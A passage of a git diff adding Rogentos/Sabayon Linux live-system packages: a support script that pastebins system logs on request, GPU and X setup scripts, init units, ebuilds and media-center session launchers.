+echo "Sysinfo for '$HOSTNAME': $RELEASE with $KERN_ARCH kernel $KERNEL
+on $CPU, HD: $DISK, MEM: $MEMORY, Renderer: $RENDERER, $PROCS procs,
+up $DAYS days"
+
+}
+
+# echo -e "\a[pastebunz debug ON]" >&2;
+# function pastebunz { sed 's/^/[pb] '/ | less; }
+
+# pastebunz seems to have some limit on max pasted lines, so this would be handy...
+function files_pastebin_linelimit
+{
+    # args: limit file_to_pastebin [file_to_pastebin] ...
+    # example: file_pastebin_linelimit 30 file1 "file name2" file3
+    # first arg: 0 means no limit
+    # By Enlik <sn at ubucentrum.net>
+    local TMPFILE=~/newbietmp
+    local LINESLIMIT
+    local LLIMIT_H
+
+    if [[ $# -le 1 ]]; then
+        echo "Error: no files to paste (in files_pastebin_linelimit)." >&2
+        return 2
+    fi
+
+    let LINESLIMIT=$1
+    shift
+    # If there is a limit of lines, we need to make space for file name and blank
+    # lines to be pasted. Otherwise we have as much space as we want.
+    if [[ $LINESLIMIT -eq 0 ]]; then
+        LLIMIT_H="+1"
+    else
+        LLIMIT_H=$(( LINESLIMIT - 3 ))
+    fi
+
+    >"$TMPFILE" || {
+        echo "Oh no! I can't create temporary file... Aborting." >&2
+        return 3
+    }
+
+    for file in "$@"; do
+        echo " --- file: $file ---"
+        echo " "
+        if [[ -r $file ]]; then
+            # This tail guarantees that LAST file name is visible (unless the limit is really small, <= 2 lines)
+            # (previous one(s) can be wiped by tail due to limit of lines).
+            # The file name is always visible if there's only one specified
+            # as argument (unless the limit value is really small, as above).
+            # All file names are always visible if there's no limit
+            # of lines, or the limit is big enough.
+            cat "$file" 2>&1 | tail -n $LLIMIT_H
+    elif [[ -e $file ]]; then
+	    echo "THIS FILE COULDN'T BE READ."
+	else
+	    echo "THIS FILE DOESN'T EXIST."
+	fi
+        echo " "
+    done >> "$TMPFILE"
+    if [[ $LINESLIMIT -eq 0 ]]; then
+        cat "$TMPFILE" | pastebunz
+    else
+        tail -n $LINESLIMIT "$TMPFILE" | pastebunz
+    fi
+    echo "** Please see the link above! **"
+
+    rm "$TMPFILE"
+    return 0
+}
+
+function files_pastebin
+{
+    files_pastebin_linelimit 0 "$@"
+}
+
+function system_pastebin
+{
+    echo -n "Please wait, it is going to take a while..."
+    local PASTE_TMP=/tmp/sabutil-tmp
+
+    >"$PASTE_TMP" || {
+	echo "Oh no! I can't create temporary file... Aborting."
+        return 1
+    }
+
+    echo "
+    sh /sbin/logscript.sh
+    " >> "$PASTE_TMP"
+    sh "/sbin/logscript.sh" >> "$PASTE_TMP"
+
+    cat "$PASTE_TMP"
+    cat "$PASTE_TMP" | pastebunz
+    echo "*** Please see the link above. ***"
+    rm "$PASTE_TMP"
+}
+
+function xorg0log_pastebin
+{
+    tail -n 150 /var/log/Xorg.0.log
+    files_pastebin_linelimit 150 /var/log/Xorg.0.log
+}
+
+function xsessionerrors_pastebin
+{
+    cat "$HOMEDIR/.xsession-errors" | tail -n 10
+    files_pastebin_linelimit 150 "$HOMEDIR/.xsession-errors"
+    if [[ $USER = "root" ]]; then
+        echo
+        echo "Notice: root's .xsession-errors file has been pasted."
+        echo "To get .xsession-errors from your regular account on which"
+        echo "you are logged using GDM, KDM or so (which is probably what you want),"
+        echo "run this script as that user, not root, or pastebin .xsession-errors"
+        echo "from YOUR home directory manually."
+        echo
+    fi
+}
+
+function dmesg_pastebin
+{
+    cat /var/log/dmesg
+    files_pastebin_linelimit 150 /var/log/dmesg
+}
+
+function grub_pastebin
+{
+    cat /boot/grub/grub.cfg
+    files_pastebin /boot/grub/grub.cfg
+}
+
+function fdisk_pastebin
+{
+    is_root || return # fdisk -l
+
+    local PASTE_TMP=/tmp/sabutil-tmp
+
+    >"$PASTE_TMP" || {
+	echo "Oh no! I can't create temporary file... Aborting."
+	return 1
+    }
+
+    (
+    echo "
+    fdisk -l
+    ";
+    fdisk -l;
+    ) > "$PASTE_TMP"
+
+    cat "$PASTE_TMP"
+    cat "$PASTE_TMP" | pastebunz
+    echo "*** Please see the link above. ***"
+    rm "$PASTE_TMP"
+}
+
+function messages_pastebin
+{
+    tail -n 150 /var/log/messages
+    files_pastebin_linelimit 150 /var/log/messages
+}
+
+function kdm_pastebin
+{
+    cat /var/log/kdm.log
+    files_pastebin_linelimit 150 /var/log/kdm.log
+}
+
+function rclog_pastebin
+{
+    if [[ -f /var/log/rc.log ]]; then
+        cat /var/log/rc.log | tail -n 10
+        files_pastebin_linelimit 150 /var/log/rc.log
+    else
+        echo "You Don't Have rc.log enabled in your /etc/rc.log"
+        echo " To enable, edit /etc/rc.log change NO to YES for rc_logger= "
+        echo ""
+    fi
+}
+
+function rcupdate_pastebin
+{
+    local PASTE_TMP=/tmp/sabutil-tmp
+
+    >"$PASTE_TMP" || {
+	echo "Oh no! I can't create temporary file... Aborting."
+	return 1
+    }
+
+    (
+    echo "
+    rc-update show
+    ";
+    rc-update show
+    ) > "$PASTE_TMP"
+
+    cat "$PASTE_TMP"
+    cat "$PASTE_TMP" | pastebunz
+    echo "*** Please see the link above. ***"
+    rm "$PASTE_TMP"
+}
+
+function xorg_pastebin
+{
+    echo "These files will be pasted (don't worry if any of them don't exist):"
+    ls -l /etc/X11/xorg.conf /etc/X11/xorg.conf.d/*
+    files_pastebin /etc/X11/xorg.conf.d/* /etc/X11/xorg.conf
+}
+
+function xorg_edit
+{
+    is_root &> /dev/null || echo "You are not root. You will only be able to view files."
+
+    local xorgfiles=() file
+    if (shopt -s nullglob; f=(/etc/X11/xorg.conf.d/*.conf); [[ ${#f[*]} -ne 0 ]] ); then
+	xorgfiles=( /etc/X11/xorg.conf.d/* ) # let's put all non-dot files; warning for non-conf is below
+    fi
+
+    if [[ -f /etc/X11/xorg.conf ]]; then
+            xorgfiles+=( /etc/X11/xorg.conf )
+    fi
+
+    if [[ ${#xorgfiles[*]} -eq 0 ]]; then
+        echo "I can't find any Xorg configuration files."
+        echo "There's no /etc/X11/xorg.conf or .conf files in /etc/X11/xorg.conf.d/ directory."
+        echo "Xorg uses autodected settings."
+    else
+        echo "These files affect your Xorg configuration."
+        echo "See http://fedoraproject.org/wiki/Input_device_configuration#xorg.conf.d for more informations."
+        echo "Select a file to edit or type q and press Enter to quit."
+        select file in "${xorgfiles[@]}"; do
+            if [[ -n $file ]]; then
+            # Not sure about files that don't start with a number and a hyphen - are they used?
+                if [[ ${file##*.} != "conf" ]]; then
+                    echo "Warning: this file has no .conf suffix and thus will be ignored by Xorg."
+                    press_enter
+                fi
+                nano -w "$file"
+                echo "Select a file to edit or type q and press Enter to quit."
+            elif [[ $REPLY = "q" || $REPLY = "Q" ]]; then
+                break
+            fi
+        done
+    fi
+}
+
+clear
+
+if [[ $1 = "menu" ]]; then
+    if [[ $EUID -ne 0 ]]; then
+        echo "This script should be run as root, or by someone in the root group. Some commands will not work for you." 1>&2
+	echo ""
+    fi
+    menu
+elif [[ $1 = "--help" || $1 = "-h" ]]; then
+    echo "usage:"
+    echo "$0 - will print some basic system infos"
+    echo "$0 menu - will show you menu"
+else
+    horner
+    echo ""
+    echo "Specify --help or -h to get help."
+ fi
diff --git a/app-misc/rogentoslive-tools/files/2/vga-cmd-parser b/app-misc/rogentoslive-tools/files/2/vga-cmd-parser
new file mode 100644
index 00000000..1e443171
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/vga-cmd-parser
@@ -0,0 +1,53 @@
+#!/usr/bin/python
+# Copyright 2008 Fabio Erculiani, Sabayon Linux Chief Architect
+# parses vga= parameters from cmdline given by isolinux and returns the right resolution
+# Shut up!
+
+res_map = {
+	"0x385": ("640x400",24),
+	"0x312": ("640x480",24),
+	"0x315": ("800x600",24),
+	"0x318": ("1024x768",24),
+	"0x31b": ("1280x1024",24),
+	"0x330": ("640x400",16),
+	"0x33E": ("640x400",24),
+	"0x331": ("640x480",16),
+	"0x33F": ("640x480",24),
+	"0x332": ("800x600",16),
+	"0x340": ("800x600",24),
+	"0x333": ("1024x768",16),
+	"0x341": ("1024x768",24),
+	"0x334": ("1152x864",16),
+	"0x342": ("1152x864",24),
+	"0x335": ("1280x960",16),
+	"0x343": ("1280x960",24),
+	"0x336": ("1280x1024",16),
+	"0x344": ("1280x1024",24),
+	"0x337": ("1400x1050",16),
+	"0x345": ("1400x1050",24),
+	"0x338": ("1600x1200",16),
+	"0x346": ("1600x1200",24),
+	"0x339": ("1792x1344",16),
+	"0x347": ("1792x1344",24),
+	"0x33A": ("1856x1392",16),
+	"0x348": ("1856x1392",24),
+	"0x33B": ("1920x1440",16),
+	"0x349": ("1920x1440",24),
+	"0x33C": ("2048x1536",16),
+	"0x34A": ("2048x1536",24)
+}
+
+f = open("/proc/cmdline")
+cmdline = f.readline().strip().split()
+cmdline.reverse()
+for item in cmdline:
+	if item.startswith("vga="):
+		item_split = item.split("=")
+		if len(item_split) == 2:
+			data = item_split[1]
+			try:
+				if res_map.get(data) != None:
+					print res_map[data][0],res_map[data][1]
+				break
+			except TypeError:
+				pass
diff --git a/app-misc/rogentoslive-tools/files/2/x-setup-configuration b/app-misc/rogentoslive-tools/files/2/x-setup-configuration
new file mode 100644
index 00000000..b8747097
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/x-setup-configuration
@@ -0,0 +1,46 @@
+#!/bin/bash
+
+# get livecd functions
+source /sbin/livecd-functions.sh
+source /sbin/rogentos-functions.sh
+
+runtime_linking_proprietary_drivers() {
+	if [ -d "/lib/nvidia" ] || [ -d "/lib/fglrx" ]; then
+		current_arch=$(uname -m)
+		if [ "$current_arch" == "x86_64" ]; then
+			ld_arch="elf_x86_64"
+		elif [ "$current_arch" == "i686" ]; then
+			ld_arch="elf_i386"
+		fi
+		lspci_vga=$(lspci | grep ' VGA ')
+		mount -t tmpfs none /lib/modules/$(uname -r)/video
+		if [ -n "`echo $lspci_vga | grep -i nvidia`" ]; then
+			ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/nvidia.ko /lib/nvidia/nvidia.o /lib/nvidia/nvidia.mod.o
+			depmod -a &> /dev/null
+		elif [ -n "`echo $lspci_vga | grep -i ati`" ]; then
+			ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/fglrx.ko /lib/fglrx/fglrx.o /lib/fglrx/fglrx.mod.o
+			depmod -a &> /dev/null
+		elif [ -n "`echo $lspci_vga | grep -i unknown`" ]; then
+			ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/nvidia.ko /lib/nvidia/nvidia.o /lib/nvidia/nvidia.mod.o
+			ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/fglrx.ko /lib/fglrx/fglrx.o /lib/fglrx/fglrx.mod.o
+			depmod -a &> /dev/null
+		elif [ -z "$lspci_vga" ]; then
+			ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/nvidia.ko /lib/nvidia/nvidia.o /lib/nvidia/nvidia.mod.o
+			ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/fglrx.ko /lib/fglrx/fglrx.o /lib/fglrx/fglrx.mod.o
+			depmod -a &> /dev/null
+		fi
+	fi
+}
+
+# create seed
+rm -f /etc/x-setup-configuration-running
+touch /etc/x-setup-configuration-running
+
+# Prepare Video Cards Proprietary Drivers
+if rogentos_is_live; then
+	runtime_linking_proprietary_drivers
+fi
+/sbin/gpu-configuration &> /dev/null
+
+# delete seed
+rm -f /etc/x-setup-configuration-running
diff --git a/app-misc/rogentoslive-tools/files/2/x-setup-init.d b/app-misc/rogentoslive-tools/files/2/x-setup-init.d
new file mode 100644
index 00000000..0c486c06
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/x-setup-init.d
@@ -0,0 +1,26 @@
+#!/sbin/runscript
+# Copyright 2009-2013 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+
+depend() {
+    after mtab
+    before hostname
+    before xdm
+}
+
+
+
+start() {
+    . /sbin/rogentos-functions.sh
+
+    ebegin "Configuring GPUs and input devices"
+    if rogentos_is_live; then
+        start-stop-daemon --start --background --pidfile /var/run/x-setup.pid \
+            --make-pidfile --exec /usr/sbin/x-setup-configuration
+        eend 0
+        return 0
+    fi
+
+    /usr/libexec/x-setup.sh > /dev/null
+    eend ${?}
+}
diff --git a/app-misc/rogentoslive-tools/files/2/x-setup.service b/app-misc/rogentoslive-tools/files/2/x-setup.service
new file mode 100644
index 00000000..58ffa4af
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/x-setup.service
@@ -0,0 +1,14 @@
+# This unit is meant to run only after install.
+
+[Unit]
+Description=GPUs and input devices setup
+ConditionKernelCommandLine=!cdroot
+Before=display-manager.service
+
+[Service]
+Type=oneshot
+RemainAfterExit=true
+ExecStart=/usr/libexec/x-setup.sh
+
+[Install]
+WantedBy=multi-user.target
\ No newline at end of file
diff --git a/app-misc/rogentoslive-tools/files/2/x-setup.sh b/app-misc/rogentoslive-tools/files/2/x-setup.sh
new file mode 100644
index 00000000..4463a66b
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/x-setup.sh
@@ -0,0 +1,49 @@
+#!/bin/bash
+
+. /sbin/rogentos-functions.sh
+
+REDETECT=$(cat /proc/cmdline | grep "gpudetect")
+
+gpus_same() {
+    # $1 and $2: output lines from "lspci"
+    local id1 id2 # [xxxx:]xx:xx.x
+    local dev1 dev2 # vendor and device: xxxx:xxxx
+    id1=$(echo "$1" | awk '/ VGA / { print $1 }')
+    id2=$(echo "$2" | awk '/ VGA / { print $1 }')
+    if [ -z "$id1" ] || [ -z "$id2" ]; then
+        return 1
+    fi
+    dev1=$(lspci -s "$id1" -n | awk '{ print $3 }')
+    dev2=$(lspci -s "$id2" -n | awk '{ print $3 }')
+    [ "$dev1" = "$dev2" ]
+}
+
+
+if [ -e /first_time_run ] || [ ! -e /etc/gpu-detector.conf ] \
+    || [ -n "${REDETECT}" ]; then
+    echo "Configuring GPUs and input devices for the first time"
+    lspci | grep ' VGA ' > /etc/gpu-detector.conf
+    /usr/sbin/x-setup-configuration
+    exit 0
+fi
+
+infostr_run="Configuring GPUs and input devices"
+infostr_skip="Skipping GPUs and input devices configuration"
+lspci_vga=$(lspci | grep ' VGA ')
+stored_vga=$(cat /etc/gpu-detector.conf)
+
+if [ "${lspci_vga}" != "${stored_vga}" ]; then
+    # Strings are different, let's do the more "heavy" and accurate comparison.
+    if gpus_same "${lspci_vga}" "${stored_vga}"; then
+        # this may happen after vendor changes its name etc.
+        # and PCI ID file is updated
+        echo "${infostr_skip}, only updating GPU information file"
+    else
+        echo "${infostr_run}"
+        /usr/sbin/x-setup-configuration
+    fi
+    echo "${lspci_vga}" > /etc/gpu-detector.conf
+    exit 0
+fi
+
+echo "${infostr_skip}"
diff --git a/app-misc/rogentoslive-tools/rogentoslive-tools-1.0-r1.ebuild b/app-misc/rogentoslive-tools/rogentoslive-tools-1.0-r1.ebuild
new file mode 100644
index 00000000..fe0faad2
--- /dev/null
+++ b/app-misc/rogentoslive-tools/rogentoslive-tools-1.0-r1.ebuild
@@ -0,0 +1,83 @@
+# Copyright 2004-2012 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+inherit eutils
+
+DESCRIPTION="Rogentos Live tools for autoconfiguration of the system"
+HOMEPAGE="http://www.rogentos.ro/"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="!app-misc/livecd-tools
+	!app-misc/sabayonlive-tools
+	app-admin/eselect-opengl
+	dev-util/dialog
+	sys-apps/gawk
+	sys-apps/pciutils
+	>=sys-apps/keyboard-configuration-helpers-2.6"
+
+src_unpack() {
+	cd "${WORKDIR}"
+	cp "${FILESDIR}"/${PV}/*-functions.sh . -p
+	cp "${FILESDIR}"/${PV}/net-setup . -p
+	cp "${FILESDIR}"/${PV}/x-setup-init.d . -p
+	cp "${FILESDIR}"/${PV}/installer-gui . -p
+	cp "${FILESDIR}"/${PV}/installer-text . -p
+	cp "${FILESDIR}"/${PV}/x-setup-configuration . -p
+	cp "${FILESDIR}"/${PV}/bashlogin . -p
+	cp "${FILESDIR}"/${PV}/opengl-activator . -p
+	cp "${FILESDIR}"/${PV}/rogentoslive . -p
+	cp "${FILESDIR}"/${PV}/vga-cmd-parser . -p
+	cp "${FILESDIR}"/${PV}/logscript.sh . -p
+	cp "${FILESDIR}"/${PV}/sabutil . -p
+	cp "${FILESDIR}"/${PV}/livespawn . -p
+	cp "${FILESDIR}"/${PV}/cdeject . -p
+	cp "${FILESDIR}"/${PV}/xorg.conf.rogentos . -p
+}
+
+src_install() {
+
+	cd "${WORKDIR}"
+
+	dosbin x-setup-configuration
+	newinitd x-setup-init.d x-setup
+
+	dosbin net-setup
+	into /
+	dosbin *-functions.sh
+	dosbin logscript.sh
+	dobin bashlogin
+	dobin vga-cmd-parser
+	exeinto /usr/bin
+	doexe opengl-activator
+	doexe livespawn
+	doexe sabutil
+
+	dodir /etc/rogentos
+	insinto /etc/rogentos
+
+	insinto /etc/X11
+	doins xorg.conf.rogentos
+
+	dodir /usr/share/X11/xorg.conf.d
+	insinto /usr/share/X11/xorg.conf.d
+	doins "${FILESDIR}/${PV}/xorg.conf.d/90-synaptics.conf"
+
+	dodir /usr/share/rogentoslive-tools/xorg.conf.d
+	insinto /usr/share/rogentoslive-tools/xorg.conf.d
+	# fglrx <12.2 Xv workaround, enabled at runtime
+	doins "${FILESDIR}/${PV}/xorg.conf.d/90-fglrx-12.1-and-older-workaround.conf"
+
+	newinitd rogentoslive rogentoslive
+	newinitd installer-gui installer-gui
+	newinitd installer-text installer-text
+	newinitd cdeject cdeject
+
+}
diff --git a/app-misc/rogentoslive-tools/rogentoslive-tools-2.ebuild b/app-misc/rogentoslive-tools/rogentoslive-tools-2.ebuild
new file mode 100644
index 00000000..88361edb
--- /dev/null
+++ b/app-misc/rogentoslive-tools/rogentoslive-tools-2.ebuild
@@ -0,0 +1,74 @@
+# Copyright 2004-2013 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+inherit eutils systemd
+
+DESCRIPTION="Sabayon Live tools for autoconfiguration of the system"
+HOMEPAGE="http://rogentos.ro/"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="!app-misc/livecd-tools
+	app-admin/eselect-opengl
+	dev-util/dialog
+	sys-apps/gawk
+	sys-apps/pciutils
+	>=sys-apps/keyboard-configuration-helpers-2.6
+	sys-apps/sed"
+
+S="${WORKDIR}"
+
+src_unpack() { :; }
+
+src_install() {
+	local dir="${FILESDIR}/${PV}"
+
+	exeinto /usr/libexec
+	doexe "${dir}/installer-text.sh"
+	doexe "${dir}/installer-gui.sh"
+	doexe "${dir}/rogentoslive.sh"
+	doexe "${dir}/x-setup.sh"
+	doexe "${dir}/cdeject.sh"
+
+	dosbin "${dir}/x-setup-configuration"
+	newinitd "${dir}/x-setup-init.d" x-setup
+
+	dosbin "${dir}/net-setup"
+	into /
+	dosbin "${dir}/"*-functions.sh
+	dosbin "${dir}/logscript.sh"
+	dobin "${dir}/bashlogin"
+	dobin "${dir}/vga-cmd-parser"
+
+	exeinto /usr/bin
+	doexe "${dir}/livespawn"
+	doexe "${dir}/sabutil"
+	doexe "${dir}/rogentos-live-check"
+	doexe "${dir}/rogentos-welcome-loader"
+
+	dodir /etc/rogentos
+	insinto /etc/rogentos
+	doins "${dir}/rogentos-welcome-loader.desktop"
+
+	dodir /usr/share/rogentoslive-tools/xorg.conf.d
+	insinto /usr/share/rogentoslive-tools/xorg.conf.d
+
+	doinitd "${dir}/rogentoslive"
+	systemd_dounit "${dir}/rogentoslive.service"
+	systemd_dounit "${dir}/x-setup.service"
+
+	doinitd "${dir}/installer-gui"
+	systemd_dounit "${dir}/installer-gui.service"
+
+	doinitd "${dir}/installer-text"
+	systemd_dounit "${dir}/installer-text.service"
+
+	doinitd "${dir}/cdeject"
+	systemd_dounit "${dir}/cdeject.service"
+}
diff --git a/app-misc/sabayon-mce/Manifest b/app-misc/sabayon-mce/Manifest
new file mode 100644
index 00000000..ab0d505a
--- /dev/null
+++ b/app-misc/sabayon-mce/Manifest
@@ -0,0 +1,6 @@
+AUX 1.1/bin/sabayon-mce-session 67 RMD160 ecb8a619ef1b8c24027a8645546aaa8ade67a0c3 SHA1 b47675404b79a106483a7346c5076c3704f6f9b8 SHA256 456a32721da17c42e4cd3ff33a619acbbcba94de3394003a2bc0a747b55c2c10
+AUX 1.1/bin/sabayon-mce-start 528 RMD160 d7456e2a140c4052dd17084c82602fcf484c0126 SHA1 d99ae41ef4b48be71de5e4abd173ed53dfdbe50b SHA256 4dadf0e7a5d6eb5144c40391e181dc16f91c5aa95944248ec69124acf4325983
+AUX 1.1/bin/sabayon-mce-startx 4376 RMD160 1a580f9a7d90888efeea725835314c5ff4667760 SHA1 2a67bde14cb92f244bc16bba22173e4688b4eefe SHA256 4443354db9f8d44ec52c3b76ce46179f666e990fde9f0673d9eebb3bf02424a8
+AUX 1.1/init.d/sabayon-mce 835 RMD160 ef59ade2e9da6219bc31fcd41a0206d2c8d3f635 SHA1 fe42a50c7134e0d5ddf745942c248a7b3a326500 SHA256 bacbc7a42986da1d0de7c889a16d5c8acad39ba2c4f09df453682cf46a3936c8
+AUX 1.1/xsession/sabayon-mce.desktop 171 RMD160 52b8a3457819fa93ff3f14c9ec9ee13935602d41 SHA1 2eb008a480813179fd01a951046faa6f3fe4e6a4 SHA256 28c4770d694038dff9ac3c8d116239491d0ddc95a0deeaa0adf6e6ea0753bb8b
+EBUILD sabayon-mce-1.1-r1.ebuild 1173 RMD160 f5459e2c75c1eba6c5665a1841c7984abf71bcad SHA1 066787eca9d6f68d25b3650f27114d9913079c66 SHA256 5ff266b3c0290390a8e9accc35539a643da34c1283eaef5de36b7d4fca2ddd8b
diff --git a/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-session b/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-session
new file mode 100644
index 00000000..66d0ed03
--- /dev/null
+++ b/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-session
@@ -0,0 +1,3 @@
+#!/bin/sh
+# Start Xbox Media Center
+exec /usr/bin/xbmc --standalone
\ No newline at end of file
diff --git a/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-start b/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-start
new file mode 100644
index 00000000..ff2f9ee2
--- /dev/null
+++ b/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-start
@@ -0,0 +1,18 @@
+#!/bin/sh
+
+# setup
+myxinitrc="/usr/bin/sabayon-mce-session"
+myuser="sabayonmce"
+mcepid="/var/sabayonmce/.mcepid"
+
+# make sure samba is started
+[[ -f "/etc/init.d/samba" ]] && /etc/init.d/samba start &> /dev/null
+
+# Kill previous instance running since
+# /etc/init.d/xdm does not support PIDFILE for
+# custom DISPLAYMANAGER
+[[ -f "$mcepid" ]] && kill $(cat $mcepid) &> /dev/null
+
+# spawn!
+echo $$ > /var/run/sabayon-mce-start.pid
+su - ${myuser} -c "source /etc/profile && /usr/bin/sabayon-mce-startx ${myxinitrc} &> /dev/null" &
diff --git a/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-startx b/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-startx
new file mode 100644
index 00000000..21ca87e8
--- /dev/null
+++ b/app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-startx
@@ -0,0 +1,171 @@
+#!/bin/sh
+
+# $Xorg: startx.cpp,v 1.3 2000/08/17 19:54:29 cpqbld Exp $
+#
+# This is just a sample implementation of a slightly less primitive
+# interface than xinit.  It looks for user .xinitrc and .xserverrc
+# files, then system xinitrc and xserverrc files, else lets xinit choose
+# its default.  The system xinitrc should probably do things like check
+# for .Xresources files and merge them in, startup up a window manager,
+# and pop a clock and serveral xterms.
+#
+# Site administrators are STRONGLY urged to write nicer versions.
+#
+# $XFree86: xc/programs/xinit/startx.cpp,v 3.16tsi Exp $
+
+
+userclientrc="$1"
+sysclientrc="$1"
+
+pidfilepath="$HOME/.mcepid"
+userserverrc="$HOME/.xserverrc"
+sysserverrc=/etc/X11/xinit/xserverrc
+defaultclientargs=""
+defaultserverargs="-nolisten tcp -br vt07"
+clientargs=""
+serverargs=""
+
+enable_xauth=1
+
+if [ -f $userclientrc ]; then
+    defaultclientargs=$userclientrc
+elif [ -f $sysclientrc ]; then
+    defaultclientargs=$sysclientrc
+fi
+
+if [ x"$display" != x ]; then
+    export DISPLAY=$display
+else
+    export DISPLAY=:0
+fi
+
+
+if [ -f $userserverrc ]; then
+    defaultserverargs=$userserverrc
+elif [ -f $sysserverrc ]; then
+    defaultserverargs=$sysserverrc
+fi
+
+whoseargs="client"
+while [ x"$1" != x ]; do
+    case "$1" in
+      /''*|\.*)       if [ "$whoseargs" = "client" ]; then
+                  if [ "x$clientargs" = x ]; then
+                      clientargs="$1"
+                  else
+                      clientargs="$clientargs $1"
+                  fi
+              else
+                  if [ "x$serverargs" = x ]; then
+                      serverargs="$1"
+                  else
+                      serverargs="$serverargs $1"
+                  fi
+              fi ;;
+      --)     whoseargs="server" ;;
+      *)      if [ "$whoseargs" = "client" ]; then
+                  if [ "x$clientargs" = x ]; then
+                      clientargs="$defaultclientargs $1"
+                  else
+                      clientargs="$clientargs $1"
+                  fi
+              else
+                  case "$1" in
+                      :[0-9]*) display="$1"; serverargs="$serverargs $1";;
+                      *) serverargs="$serverargs $1" ;;
+                  esac
+              fi ;;
+    esac
+    shift
+done
+
+if [ x"$clientargs" = x ]; then
+	clientargs="$defaultclientargs"
+fi
+if [ x"$serverargs" = x ]; then
+	serverargs="$defaultserverargs"
+fi
+
+if [ x"$enable_xauth" = x1 ] ; then
+    if [ x"$XAUTHORITY" = x ]; then
+        XAUTHORITY=$HOME/.Xauthority
+        export XAUTHORITY
+    fi
+
+    removelist=
+
+    # set up default Xauth info for this machine
+    case `uname` in
+    Linux*)
+        if [ -z "`hostname --version 2>&1 | grep GNU`" ]; then
+            hostname=`hostname -f`
+        else
+            hostname=`hostname`
+        fi
+        ;;
+    *)
+        hostname=`hostname`
+        ;;
+    esac
+
+    authdisplay=${display:-:0}
+
+    mcookie=`/usr/bin/mcookie`
+
+    dummy=0
+
+    # create a file with auth information for the server. ':0' is a dummy.
+    xserverauthfile=$HOME/.serverauth.$$
+    trap "rm -f $xserverauthfile" HUP INT QUIT ILL TRAP KILL BUS TERM
+    xauth -q -f $xserverauthfile << EOF
+add :$dummy . $mcookie
+EOF
+    serverargs=${serverargs}" -auth "${xserverauthfile}
+
+    # now add the same credentials to the client authority file
+    # if '$displayname' already exists do not overwrite it as another
+    # server man need it. Add them to the '$xserverauthfile' instead.
+    for displayname in $authdisplay $hostname$authdisplay; do
+        authcookie=`xauth list "$displayname" \
+        | sed -n "s/.*$displayname[[:space:]*].*[[:space:]*]//p"` 2>/dev/null;
+        if [ "z${authcookie}" = "z" ] ; then
+            xauth -q << EOF 
+add $displayname . $mcookie
+EOF
+        removelist="$displayname $removelist"
+        else
+            dummy=$(($dummy+1));
+            xauth -q -f $xserverauthfile << EOF
+add :$dummy . $authcookie
+EOF
+        fi
+    done
+fi
+
+cleanup() {
+
+    [ -n "$PID" ] && kill $PID > /dev/null 2>&1
+    if [ x"$enable_xauth" = x1 ] ; then
+        if [ x"$removelist" != x ]; then
+            xauth remove $removelist
+        fi
+        if [ x"$xserverauthfile" != x ]; then
+            rm -f $xserverauthfile
+        fi
+    fi
+
+}
+
+
+trap cleanup 0
+
+xinit $clientargs -- $serverargs -deferglyphs 16 &
+
+PID=$!
+
+# Write pid to pid file
+echo $PID > $pidfilepath
+
+wait $PID
+
+unset PID
diff --git a/app-misc/sabayon-mce/files/1.1/init.d/sabayon-mce b/app-misc/sabayon-mce/files/1.1/init.d/sabayon-mce
new file mode 100644
index 00000000..0dba609b
--- /dev/null
+++ b/app-misc/sabayon-mce/files/1.1/init.d/sabayon-mce
@@ -0,0 +1,41 @@
+#!/sbin/runscript
+# Copyright 2012 Sabayon
+
+depend() {
+	# In this way autologin settings are overwritten
+	after mtab sabayonlive
+	before xdm
+	need net
+}
+
+start() {
+
+	SABAYON_USER="sabayonmce"
+	source /sbin/rogentos-functions.sh
+
+	if sabayon_is_mce; then
+
+		ebegin "Sabayon Media Center mode enabled"
+
+		# setup default .dmrc
+		echo "[Desktop]" > /var/sabayonmce/.dmrc
+		echo "Session=sabayon-mce" >> /var/sabayonmce/.dmrc
+		chown sabayonmce /var/sabayonmce/.dmrc
+		if [ -x "/usr/libexec/gdm-set-default-session" ]; then
+			# oh my fucking glorious god, this
+			# is AccountsService bullshit
+			# cross fingers
+			/usr/libexec/gdm-set-default-session sabayon-mce
+		fi
+
+		sabayon_setup_autologin
+
+	elif ! sabayon_is_live && ! sabayon_is_mce; then
+		ebegin "Sabayon Media Center mode disabled"
+		sabayon_disable_autologin
+	fi
+
+	eend 0
+
+}
+
diff --git a/app-misc/sabayon-mce/files/1.1/xsession/sabayon-mce.desktop b/app-misc/sabayon-mce/files/1.1/xsession/sabayon-mce.desktop
new file mode 100644
index 00000000..46d11f10
--- /dev/null
+++ b/app-misc/sabayon-mce/files/1.1/xsession/sabayon-mce.desktop
@@ -0,0 +1,8 @@
+[Desktop Entry]
+Encoding=UTF-8
+Name=Sabayon Media Center
+Comment=This session loads Sabayon in Media Center mode
+Exec=/usr/bin/sabayon-mce-session
+Icon=
+Type=Application
+
diff --git a/app-misc/sabayon-mce/sabayon-mce-1.1-r1.ebuild b/app-misc/sabayon-mce/sabayon-mce-1.1-r1.ebuild
new file mode 100644
